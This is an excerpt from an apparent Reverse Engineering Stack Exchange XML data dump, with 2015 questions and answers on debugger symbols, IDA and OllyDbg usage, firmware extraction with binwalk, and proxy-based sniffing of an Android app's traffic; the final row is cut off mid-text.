  <row Id="10653" PostTypeId="1" CreationDate="2015-08-19T08:22:19.637" Score="3" ViewCount="1690" Body="&lt;p&gt;After updating a batch of Windows updates, it seems the ntdll.dll version got bumped from 6.1.7601.&lt;em&gt;188869&lt;/em&gt; (modified 25/5/15) to 6.1.7601.&lt;em&gt;18933&lt;/em&gt; (modified 15/07/2015).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since then, &lt;code&gt;!peb&lt;/code&gt;, &lt;code&gt;!teb&lt;/code&gt;, &lt;code&gt;!address&lt;/code&gt; and probably others have ceased to work for me because the &lt;code&gt;_PEB&lt;/code&gt; and &lt;code&gt;_TEB&lt;/code&gt; debug symbols are missing (same with &lt;code&gt;_LDR_DATA_TABLE_ENTRY&lt;/code&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't find any reference online for it, but perhaps my google-fu is just weak.&lt;/p&gt;&#xA;" OwnerUserId="13321" LastActivityDate="2015-08-30T21:00:04.803" Title="Did Microsoft remove the _PEB and _TEB symbols from the ntdll's debug symbols permanently?" Tags="|windows|windbg|debugging-symbols|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10655" PostTypeId="1" AcceptedAnswerId="10656" CreationDate="2015-08-19T13:23:49.503" Score="1" ViewCount="748" Body="&lt;p&gt;I'm using IDA Pro and trying to analyze a parameter passed to a function call. Problem is, when i add a breakpoint on function address to see what values are being passed , the application crashes. Is there a way to monitor what parameters passed other than setting a breakpoint ?&lt;/p&gt;&#xA;" OwnerUserId="13325" LastEditorUserId="53" LastEditDate="2015-12-16T17:07:51.583" LastActivityDate="2015-12-16T17:07:51.583" Title="Is it possible to trace data without adding a break point?" Tags="|ida|call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10656" PostTypeId="2" ParentId="10655" CreationDate="2015-08-19T14:05:25.497" Score="1" Body="&lt;p&gt;Assuming you're using a software breakpoint (&lt;code&gt;int 3&lt;/code&gt;), you have a few alternative options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use a hardware breakpoint instead&lt;/li&gt;&#xA;&lt;li&gt;Use an &lt;a href=&quot;http://www.ollydbg.de/Help/i_Breakpoints.htm&quot; rel=&quot;nofollow&quot;&gt;OllyDbg-style memory breakpoint&lt;/a&gt; instead&lt;/li&gt;&#xA;&lt;li&gt;Hook the target function by &lt;a href=&quot;https://en.wikipedia.org/wiki/Hooking#API.2FFunction_Hooking.2FInterception_Using_JMP_Instruction&quot; rel=&quot;nofollow&quot;&gt;overwriting the beginning of the function with a jump/call&lt;/a&gt; to an injected tracing function&lt;/li&gt;&#xA;&lt;li&gt;Find the code that's causing the application to crash (the code that's detecting your breakpoint) and disable it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on your comment below, it looks like you're looking to log/hook imported API functions, in which case IAT hooking and EAT hooking are also options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the easiest solution will likely be using an existing tool like &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow&quot;&gt;API Monitor&lt;/a&gt; which allows you to easily log function parameters &lt;em&gt;and&lt;/em&gt; choose the type of breakpoint you want to use.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-08-19T14:59:47.780" LastActivityDate="2015-08-19T14:59:47.780" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10657" PostTypeId="2" ParentId="10653" CreationDate="2015-08-19T14:51:17.893" Score="2" Body="&lt;p&gt;18933 builds have applied various security updates and the symbols on the symbol server are mangled. This is why WinDbg cannot perform those commands or list those structures for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is a debug machine, I would recommend reverting these updates temporarily. &lt;/p&gt;&#xA;" OwnerUserId="3406" LastActivityDate="2015-08-19T14:51:17.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10658" PostTypeId="2" ParentId="2058" CreationDate="2015-08-19T15:16:54.023" Score="5" Body="&lt;p&gt;BinNavi was just &lt;a href=&quot;https://github.com/google/binnavi&quot; rel=&quot;nofollow&quot;&gt;released as open source&lt;/a&gt; today by Google, so you can get it for free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About using it with something else than REIL, if you're fearless, you can give a try to &lt;a href=&quot;http://radare.org&quot; rel=&quot;nofollow&quot;&gt;radare2&lt;/a&gt;, since it &lt;a href=&quot;https://github.com/radare/radare2/pull/2341&quot; rel=&quot;nofollow&quot;&gt;can translate&lt;/a&gt; its intermediary language &lt;a href=&quot;https://github.com/radare/radare2/wiki/ESIL&quot; rel=&quot;nofollow&quot;&gt;ESIL&lt;/a&gt;, to REIL.&lt;/p&gt;&#xA;" OwnerUserId="3434" LastEditorUserId="1485" LastEditDate="2015-08-21T18:27:00.053" LastActivityDate="2015-08-21T18:27:00.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10659" PostTypeId="1" CreationDate="2015-08-19T20:56:02.790" Score="1" ViewCount="69" Body="&lt;p&gt;I want to modify android app writen on c++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It stores its code mostly in .so file. The code is compiled for arm architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When  I open it in IDA it says that it can only read but modify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I need to inject one arm command. How can I do this?&lt;/p&gt;&#xA;" OwnerUserId="13327" LastActivityDate="2015-08-19T20:56:02.790" Title="How to modify arm .so?" Tags="|ida|arm|android|" AnswerCount="0" CommentCount="5" ClosedDate="2015-08-20T10:38:13.490" ContentLicense="CC BY-SA 3.0" />
  <row Id="10660" PostTypeId="1" CreationDate="2015-08-20T09:29:04.007" Score="1" ViewCount="2408" Body="&lt;p&gt;Can someone know how to or a plugin that allows to display extra information, the debug registers (DR0-&gt;DR7) on the register panel of Ollydbg ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you in advance,&lt;/p&gt;&#xA;" OwnerUserId="13331" LastActivityDate="2015-08-20T21:57:06.493" Title="How to display debug register on the register panel of ollydbg" Tags="|ollydbg|register|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10661" PostTypeId="2" ParentId="10660" CreationDate="2015-08-20T10:07:17.967" Score="-1" Body="&lt;p&gt;Highlight registers panel and click ESC on your keyboard.&lt;/p&gt;&#xA;" OwnerUserId="8610" LastActivityDate="2015-08-20T10:07:17.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10662" PostTypeId="1" CreationDate="2015-08-20T10:54:24.297" Score="7" ViewCount="2853" Body="&lt;p&gt;How can I change color of node (or block?) with idapython? I know about &lt;em&gt;SetColor&lt;/em&gt;, but this function does not work with blocks/nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ejZyg.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ejZyg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; Solved, see the code snippet below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def get_bb_id(graph, ea):&#xA;    for block in graph:&#xA;        if block.startEA &amp;lt;= ea and block.endEA &amp;gt; ea:&#xA;            return block.id&#xA;&#xA;start_ea = 0x15f9ad6&#xA;base_block_ea = 0x15f9a60&#xA;&#xA;f = get_func(start_ea)&#xA;g = FlowChart(f, flags=FC_PREDS) #???&#xA;bb_id = get_bb_id(g, start_ea)&#xA;&#xA;p = idaapi.node_info_t()&#xA;p.bg_color = 0x00ff00 # green&#xA;&#xA;print idaapi.set_node_info2(base_block_ea, bb_id, p, &#xA;                            idaapi.NIF_BG_COLOR | idaapi.NIF_FRAME_COLOR)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4669" LastEditorUserId="53" LastEditDate="2016-03-18T08:16:46.953" LastActivityDate="2023-04-03T20:03:43.007" Title="Change block/node color with idapython" Tags="|idapython|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10663" PostTypeId="2" ParentId="10662" CreationDate="2015-08-20T11:19:22.220" Score="2" Body="&lt;p&gt;Look over following functions and around (found in idaapi.py):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def SetNodeInfo(self, node_index, node_info, flags):&#xA;    &quot;&quot;&quot;&#xA;    Set the properties for the given node.&#xA;&#xA;    Example usage (set second nodes's bg color to red):&#xA;      inst = ...&#xA;      p = idaapi.node_info_t()&#xA;      p.bg_color = 0x00ff0000&#xA;      inst.SetNodeInfo(1, p, idaapi.NIF_BG_COLOR)&#xA;&#xA;    @param node_index: The node index.&#xA;    @param node_info: An idaapi.node_info_t instance.&#xA;    @param flags: An OR'ed value of NIF_* values.&#xA;    &quot;&quot;&quot;&#xA;    _idaapi.pygc_set_node_info(self, node_index, node_info, flags)&#xA;&#xA;def SetNodesInfos(self, values):&#xA;    &quot;&quot;&quot;&#xA;    Set the properties for the given nodes.&#xA;&#xA;    Example usage (set first three nodes's bg color to purple):&#xA;      inst = ...&#xA;      p = idaapi.node_info_t()&#xA;      p.bg_color = 0x00ff00ff&#xA;      inst.SetNodesInfos({0 : p, 1 : p, 2 : p})&#xA;&#xA;    @param values: A dictionary of 'int -&amp;gt; node_info_t' objects.&#xA;    &quot;&quot;&quot;&#xA;    _idaapi.pygc_set_nodes_infos(self, values)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-08-20T11:19:22.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10664" PostTypeId="1" CreationDate="2015-08-20T12:52:08.163" Score="1" ViewCount="479" Body="&lt;p&gt;What are great resources and essential skills needed to become a proficient reverse engineer regarding API Hooking and DLL Injection? I would like to use a comprehensive book instead of scattered white-papers across the web. &lt;/p&gt;&#xA;" OwnerUserId="13334" LastActivityDate="2015-08-20T12:52:08.163" Title="Resources for API Hooking and DLL Injection" Tags="|dll-injection|function-hooking|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10667" PostTypeId="2" ParentId="10660" CreationDate="2015-08-20T15:35:41.523" Score="0" Body="&lt;p&gt;I don't think OllyDbg 2.01 exposes that via the UI by default, but you could write a plugin for it: &lt;a href=&quot;http://www.ollydbg.de/Help/i_Threads.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Threadregisters(threadid)&lt;/code&gt;&lt;/a&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;&lt;a href=&quot;http://www.ollydbg.de/Help/t_reg.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dr[]&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/10669/1562&quot;&gt;AcidShout's answer&lt;/a&gt; for how to view the debug registers in OllyDbg 1.10.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2015-08-20T21:57:06.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10669" PostTypeId="2" ParentId="10660" CreationDate="2015-08-20T19:01:36.560" Score="1" Body="&lt;p&gt;Using Olly 1.10, right click the registers panel and click &quot;View debug registers&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/u83Y2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/u83Y2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll see them at the bottom:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8T9BF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8T9BF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4750" LastActivityDate="2015-08-20T19:01:36.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10670" PostTypeId="1" AcceptedAnswerId="10676" CreationDate="2015-08-20T23:47:07.843" Score="2" ViewCount="1901" Body="&lt;p&gt;I'm working on a Linux x86_64 ELF binary using IDA 6.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I run the Hex-Rays Decompiler on a function (by pressing F5) it always shows me the pseudocode for the &lt;code&gt;_init_proc&lt;/code&gt; function, no matter what I run it on. It's stuck on that function and won't show me anything else in the pseudocode view. No errors are displayed or printed to the log.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I produce the C file (Ctrl+F5) the full pseudocode is generated, so it's just an interface issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is driving me mad. Things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Restarting IDA&lt;/li&gt;&#xA;&lt;li&gt;Recreating the database&lt;/li&gt;&#xA;&lt;li&gt;Deleting all decompiler information for &lt;code&gt;_init_proc&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Deleting all decompiler information for the function I'm trying to decompile&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Has anyone encountered this behaviour before? Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2015-08-21T08:56:14.363" Title="Hex-Rays decompiler stuck on function" Tags="|ida|hexrays|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10671" PostTypeId="1" AcceptedAnswerId="10678" CreationDate="2015-08-21T06:06:28.973" Score="3" ViewCount="3981" Body="&lt;p&gt;Ok guys, I'm a web programmer but I'm completely new to reverse engineering..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, there's this android app called InstaMessage, I'd like to reverse engineer the client's connection to the server, so that I can emulate it on my computer and see what commands are there, perhaps play with it a bit and further create some scripts to act as my user actions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking of monitoring the traffic, seeing where it leads and which port, an try to start from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know it's a kind of broad question, so if you could give me some tips on where to start off, it would help a lot..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13345" LastActivityDate="2015-08-21T18:57:39.847" Title="Reverse engineering an application's client connection to a host" Tags="|android|" AnswerCount="2" CommentCount="1" ClosedDate="2015-09-01T09:08:56.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="10672" PostTypeId="2" ParentId="10671" CreationDate="2015-08-21T06:13:52.560" Score="0" Body="&lt;p&gt;If you want to emulate the server on your own anyway, I would start with the server which just prints out whatever connection data is coming in and point my android there. Much faster and easier than monitoring traffic and filtering out all the stuff that is irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="2130" LastActivityDate="2015-08-21T06:13:52.560" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10673" PostTypeId="1" CreationDate="2015-08-21T06:32:13.760" Score="1" ViewCount="1397" Body="&lt;p&gt;I am looking at the firmware for my router &lt;a href=&quot;http://internethelp.centurylink.com/internethelp/modems/c1000a/firmware/CAC002-31.30L.76.img&quot; rel=&quot;nofollow&quot;&gt;C1000A/C1000A-D&lt;/a&gt; and I am having some difficulties in mounting and otherwise emulating this. From what I have read, the general process for reverse engineering firmware is to extract the firmware and run it in Qemu or mount it to your filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have managed to extract what I believe to be the filesystem from the following &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; binwalk -e --dd=&quot;lzma:7z:7zip -d %e&quot; CAC002-31.30L.76.img&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I see that there is a tool that will try to mount this runs called &lt;code&gt;unjffs2&lt;/code&gt; when I run this it fails with a seemingly unsolvable issue of a driver not being loaded. However oddly enough, a file system mounts and there is just a bunch of empty folders.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$&amp;gt; ./unjffs2 4000.jffs2&#xA;Converting image to little endian...&#xA;Wrong bitmask  at  0x00033fe8, 0x0000&#xA;Wrong bitmask  at  0x00033fec, 0x0000&#xA;Wrong bitmask  at  0x00033ff0, 0x0000&#xA;Wrong bitmask  at  0x00033ff4, 0x0000&#xA;Wrong bitmask  at  0x00033ff8, 0x0000&#xA;Wrong bitmask  at  0x00033ffc, 0x0000&#xA;Wrong bitmask  at  0x00063f68, 0x0000&#xA;Wrong bitmask  at  0x00063f6c, 0x0000&#xA;Wrong bitmask  at  0x00063f70, 0x0000&#xA;Wrong bitmask  at  0x00063f74, 0x0000&#xA;Wrong bitmask  at  0x00063f78, 0x0000&#xA;Wrong bitmask  at  0x00063f7c, 0x0000&#xA;Wrong bitmask  at  0x00063f80, 0x0000&#xA;Wrong bitmask  at  0x00063f84, 0x0000&#xA;Wrong bitmask  at  0x00063f88, 0x0000&#xA;Wrong bitmask  at  0x00063f8c, 0x0000&#xA;Wrong bitmask  at  0x00063f90, 0x0000&#xA;Wrong bitmask  at  0x00063f94, 0x0000&#xA;Wrong bitmask  at  0x00063f98, 0x0000&#xA;Wrong bitmask  at  0x00063f9c, 0x0000&#xA;Wrong bitmask  at  0x00063fa0, 0x0000&#xA;Wrong bitmask  at  0x00063fa4, 0x0000&#xA;Wrong bitmask  at  0x00063fa8, 0x0000&#xA;...&#xA;Wrong bitmask  at  0x000f3ff0, 0x0000&#xA;Wrong bitmask  at  0x000f3ff4, 0x0000&#xA;Wrong bitmask  at  0x000f3ff8, 0x0000&#xA;Wrong bitmask  at  0x000f3ffc, 0x0000&#xA;modprobe: FATAL: Module mtdchar not found.&#xA;2033+1 records in&#xA;2033+1 records out&#xA;1041200 bytes (1.0 MB) copied, 0.00570635 s, 182 MB/s&#xA;JFFS2 image mounted to jffs2-root&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At this point,  since I don't see any &lt;code&gt;mtdchar&lt;/code&gt; driver in my system (Ubuntu based). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the best method would be to run in Qemu. How can I do this ?&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="53" LastEditDate="2015-08-21T06:49:03.387" LastActivityDate="2015-08-21T06:49:03.387" Title="Reverse Engineer firmware for Jffs2 filesystem in Qemu" Tags="|firmware|qemu|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10674" PostTypeId="2" ParentId="10642" CreationDate="2015-08-21T07:56:48.980" Score="0" Body="&lt;p&gt;This is an extremely loaded question and has just as much to do with forensics as it does with reverse engineering. If you're working in a role as a network security analyst and have been tasked with determining whether a binary is malicious, it can be assumed that one of your chief priorities is to identify host-based or network-based signatures. These will be used to help your security admin colleagues detect and eliminate the threat throughout your network. However, unless you're working with a virus from the early 90s, you're not going to find an obvious message like, &quot;WARNING: THIS PROGRAM WILL DESTROY YOUR MACHINE!&quot; in the program's strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anti-RE/debugging/VM and encoding/obfuscation techniques (which are common in modern malware and can extend the time of your analysis considerably) aside, smart malware behaves similarly to legitimate programs and use standard OS APIs to do its work. To reiterate the comment from the user above, you must set a standard on what is considered to be malicious activity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With all that said, backdoors, keystroke loggers, downloaders, etc. all have unique behavioral indicators. For example, if you run &lt;code&gt;strings&lt;/code&gt; on the binary in question and can see a routable IP address, and that IP does not trace back to a legitimate organization, that is a good indication this binary is a reverse shell, and the IP can be used as a network-based signature. This is something that can be done in 2 minutes, but this alone is, by no means, thorough or sufficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on malware analysis techniques, I &lt;strong&gt;strongly&lt;/strong&gt; recommend &lt;em&gt;Practical Malware Analysis&lt;/em&gt; by Sikorski and Honig.&lt;/p&gt;&#xA;" OwnerUserId="13346" LastActivityDate="2015-08-21T07:56:48.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostTypeId="1" CreationDate="2015-08-21T08:47:42.750" Score="6" ViewCount="944" Body="&lt;p&gt;I am using Immunity Dbg v1.85 (the latest version to date). I spent about an hour analyzing a piece of malware, while making comments and relabeling functions from something like X.00402AC0 to something more useful like X.password_checker. After patching the malware to skip over the password checker function (Copy to executable &gt; All modifications) and saving it to a new file, I see all my comments and label changes have disappeared upon opening the patched version in the debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The interesting thing is when you terminate the debugger and then re-open the original unpatched executable, the comments and labels remain. It's only when you save binary modifications to a new file that they are lost. Needless to say, this is a huge inconvenience when working on complex binaries that need to be patched and shared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to save changes to labels and comments to new executables in Immunity?&lt;/p&gt;&#xA;" OwnerUserId="13346" LastActivityDate="2018-06-08T21:42:32.107" Title="Saving labels and comments in Immunity Debugger" Tags="|immunity-debugger|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="2" ParentId="10670" CreationDate="2015-08-21T08:56:14.363" Score="1" Body="&lt;h1&gt;Reset IDA configuration&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I eventually solved this issue by completely erasing IDA's configuration. I'm on Windows, so I removed the &lt;code&gt;HKCU\Software\Hex-Rays&lt;/code&gt; key. On Linux you should probably try removing &lt;code&gt;~/.idapro/ida.reg&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2015-08-21T08:56:14.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="1" CreationDate="2015-08-21T15:57:21.707" Score="0" ViewCount="241" Body="&lt;p&gt;Is there any free/paid service on internet to unpack custom protected exes? I am a RE but unpacking is not my expertise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13351" LastActivityDate="2015-08-21T21:32:59.353" Title="Service for unpacking custom protected exes?" Tags="|unpacking|" AnswerCount="1" CommentCount="1" ClosedDate="2015-08-31T22:12:00.290" ContentLicense="CC BY-SA 3.0" />
  <row Id="10678" PostTypeId="2" ParentId="10671" CreationDate="2015-08-21T16:36:15.433" Score="8" Body="&lt;p&gt;I did this with a lot of Android apps so I'll share what I have learned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When thinking of sniffing traffic, the first thing that comes to mind is &quot;I'll just root the Android device, run tcpdump on it and I'm done&quot;. That works for simple things, but it gets really messy really fast. And if the app uses SSL (like 99% of what's out there) it's even worse.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Use a proxy&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Most apps use HTTP/HTTPS to communicate with the server. The easiest way to sniff that kind of traffic is using a sniffing proxy (also called debugging proxy). Common ones are &lt;a href=&quot;http://www.charlesproxy.com/&quot; rel=&quot;noreferrer&quot;&gt;Charles&lt;/a&gt; and &lt;a href=&quot;http://www.telerik.com/fiddler&quot; rel=&quot;noreferrer&quot;&gt;Fiddler&lt;/a&gt;. I use Charles, so I'll show you how to work with it, but Fiddler should be similiar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, you need your computer and your Android device on the same LAN. Upon starting Charles, it will automatically start proxying your computer's traffic. You probably don't want this, so disable it from Proxy -&gt; Proxy Settings... -&gt; Windows. Now point your Android network settings to use your computer as HTTP proxy (Charles default port is 8888). Charles will show you all HTTP traffic from your device.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need SSL (HTTPS) proxying, you have to install the Charles certificate on your device. Android requires you to have a protected (at least pattern) lockscreen to install external certificates. You can find the certificate in the doc/ directory in Charles' install path, or you can visit &lt;a href=&quot;http://www.charlesproxy.com/getssl/&quot; rel=&quot;noreferrer&quot;&gt;http://www.charlesproxy.com/getssl/&lt;/a&gt; from your device browser. Then, in Charles, go to Proxy -&gt; Proxy Settings... -&gt; SSL, enable SSL proxying and add the hosts you want to proxy (or just add &lt;code&gt;*&lt;/code&gt; to proxy everything).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Non-HTTP(S) communication&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;An HTTP debugging proxy will cover most apps out there. In case the app is not using HTTP(S) things get a little more complex. You may want to look into the SOCKS proxy capability of Charles, and how to configure a SOCKS proxy on your device. If that doesn't suffice, then you'll really want to break out tools like tcpdump/Wireshark. You could set up a fake DNS, ARP spoof the device, use a sniffing VPN, etc. There are a lot of ways to go about it. A fake DNS is also good if you want to emulate the server, instead of the client.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;SSL certificate checking&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;When dealing with SSL, most apps trust what the OS trusts. Since you can intall external certificates on Android, you're good. Rarely, the app will check the server certificate against an embedded CA root. This can be bypassed in a few ways:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Using tools like apktool and smali, inject your own certificate into the app, replacing the original one;&lt;/li&gt;&#xA;&lt;li&gt;Write an xposed module that hooks the data send/receive methods, to sniff the decrypted messages;&lt;/li&gt;&#xA;&lt;li&gt;Write an xposed module that hooks the certificate checking routine, bypassing it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I would go with the first or the last one.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Decompilation&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;At some point you'll have to look at the application code. Maybe it's using a proprietary binary protocol, maybe the traffic is encrypted or compressed, maybe you can't make sense of some values. I suggest trying multiple decompilers/engines. They are not perfect, and a lot of times one works well where the other fails. &lt;a href=&quot;http://virtuous-ten-studio.com/&quot; rel=&quot;noreferrer&quot;&gt;Virtuous Ten Studio&lt;/a&gt; is a good one to start with. Then I alway extract the classes.dex file from the APK (it's just a ZIP file) and run it through dex2jar. I then run the resulting JAR through JD-GUI (JD-Core engine) and SecureTeam Java Decompiler (Procyon engine). Also, jadx can target DEX directly, without dex2jar.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;InstaMessage&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I checked the app you're trying to reverse. It's using standard HTTPS communication, easy to sniff using either Charles or Fiddler. The server has various GET endpoints and the client sends a base64-encoded &lt;code&gt;data&lt;/code&gt; field. This is binary data, I haven't really looked into it but the first 70% is identical in all requests, so I suspect it's some kind of session token. The final part varies with requests, but the whole field is pretty high entropy so I'm thinking it's either compressed or encrypted. I would try to decompile the app and see what's going on. The server response, on the other hand, is plain JSON.&lt;/p&gt;&#xA;" OwnerUserId="12484" LastEditorUserId="12484" LastEditDate="2015-08-21T18:57:39.847" LastActivityDate="2015-08-21T18:57:39.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="1" CreationDate="2015-08-21T16:55:09.570" Score="0" ViewCount="1218" Body="&lt;p&gt;I'm in the process of trying to reverse engineer a firmware from unknown vendor. Here's what I got so far&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the firmware image (.mg file). AFAIK it's no common image, I couldn't find any information about it from googling&#xA;Here's the binwalk output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;2149          0x865           HTML document header&#xA;2685          0xA7D           HTML document footer&#xA;2685          0xA7D           HTML document header&#xA;3052          0xBEC           HTML document footer&#xA;3052          0xBEC           HTML document header&#xA;3483          0xD9B           HTML document footer&#xA;3483          0xD9B           HTML document header&#xA;3747          0xEA3           HTML document footer&#xA;3747          0xEA3           HTML document header&#xA;5542          0x15A6          HTML document footer&#xA;8071          0x1F87          HTML document header&#xA;10462         0x28DE          HTML document footer&#xA;10463         0x28DF          HTML document header&#xA;10962         0x2AD2          HTML document footer&#xA;43377         0xA971          HTML document header&#xA;43752         0xAAE8          HTML document footer&#xA;43753         0xAAE9          HTML document header&#xA;47269         0xB8A5          HTML document footer&#xA;47269         0xB8A5          HTML document header&#xA;50689         0xC601          HTML document footer&#xA;50690         0xC602          HTML document header&#xA;52285         0xCC3D          HTML document footer&#xA;52289         0xCC41          HTML document header&#xA;54387         0xD473          HTML document footer&#xA;54389         0xD475          HTML document header&#xA;66620         0x1043C         HTML document footer&#xA;66621         0x1043D         HTML document header&#xA;70158         0x1120E         HTML document footer&#xA;70159         0x1120F         HTML document header&#xA;89096         0x15C08         HTML document footer&#xA;89329         0x15CF1         Copyright string: &quot; &amp;#169; 2008.&amp;nbsp;&amp;nbsp;All rights reserved.&quot;&#xA;96973         0x17ACD         GIF image data, version &quot;89a&quot;, 9 x 9&#xA;97819         0x17E1B         GIF image data, version &quot;89a&quot;, 1600 x 3&#xA;98790         0x181E6         GIF image data, version &quot;89a&quot;, 780 x 10&#xA;99797         0x185D5         GIF image data, version &quot;89a&quot;, 780 x 10&#xA;100806        0x189C6         HTML document header&#xA;126955        0x1EFEB         HTML document 